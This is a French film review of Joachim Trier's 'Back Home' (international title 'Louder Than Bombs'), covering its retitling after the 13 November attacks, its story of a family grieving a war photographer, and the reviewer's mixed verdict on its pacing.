Ayant déjà fait parler de lui au Festival de Cannes sous le nom de « Plus fort que les bombes », le nouveau long métrage de Joachim Trier est rebaptisé « Back Home » suite aux évènements tragiques du 13 novembre. Bien que son sujet soit moins houleux que « Made in France » de Nicolas Boukhrief ou le western « Jane Got a Gun » de Gavin O’Connor dont les sorties ont été repoussées, Memento Films a préféré donner un nouveau titre à ce film – qui n’a pourtant rien de violent ou de militant – afin d’éviter toute confusion. Pour sa sortie internationale, le titre du film reste cependant « Louder Than Bombs ».

Déjà connu pour le brillant « Oslo, 31 août », Joachim Trier signe un nouveau film scellé de mélancolie. Il raconte l’histoire d’un père (Gabriel Byrne) et ses deux fils (Jesse Eisenberg et David Druid), réunis dans la maison familiale trois ans après la mort de leur mère et épouse (Isabelle Huppert), ancienne photographe de guerre renommée et névrosée. A l’occasion d’une rétrospective de son travail, un ancien collègue décide d’écrire un article à son sujet, interprétant son accident de voiture comme un suicide. Le père se retrouve donc obligé d’aborder ce sujet avec ses deux fils, dont le cadet, adolescent qui semble très introverti et perturbé.

Memento Films

Ponctué de flashbacks pondérés, le film de Joachim Trier aborde les thèmes du deuil, de la nostalgie et de la difficulté des relations familiales avec beaucoup de pudeur et de retenue. L’interprétation époustouflante des jeunes acteurs gratifie le film d’une certaine beauté tout autant que d’une forme de morosité. Finalement tous aussi vulnérables et fragiles les uns que les autres, les personnages de « Back Home » pourraient illustrer la tristesse que décrivait Paul Eluard dans le poème « Bonjour Tristesse » – celle que les lèvres les plus pauvres dénoncent par un sourire. Dans les eaux troubles des non-dits et des différents, l’intimité de chacun d’entre eux se voit mise à nue : des angoisses et afflictions d’Isabelle Reed (la mère défunte) au journal intime du cadet, en passant par les infidélités de l’aîné et les maladresses du père.

Memento Films

Malgré une mise en scène habile et une esthétique quasi hypnotisante, l’histoire tend à s’épuiser dans la longueur et la langueur. A posteriori, nous préférons finalement « Back Home » à « Plus fort que les bombes », un titre initial un peu trompeur ; le film de Joachim se cramponne en effet à une certaine décence (voire une froideur volontaire), se refusant parfois aux émotions trop intenses de peur d’en pâtir. Il demeure ainsi plus doux que les bombes – moins impulsif, plus pacifiste, plus délicat et moins robuste.

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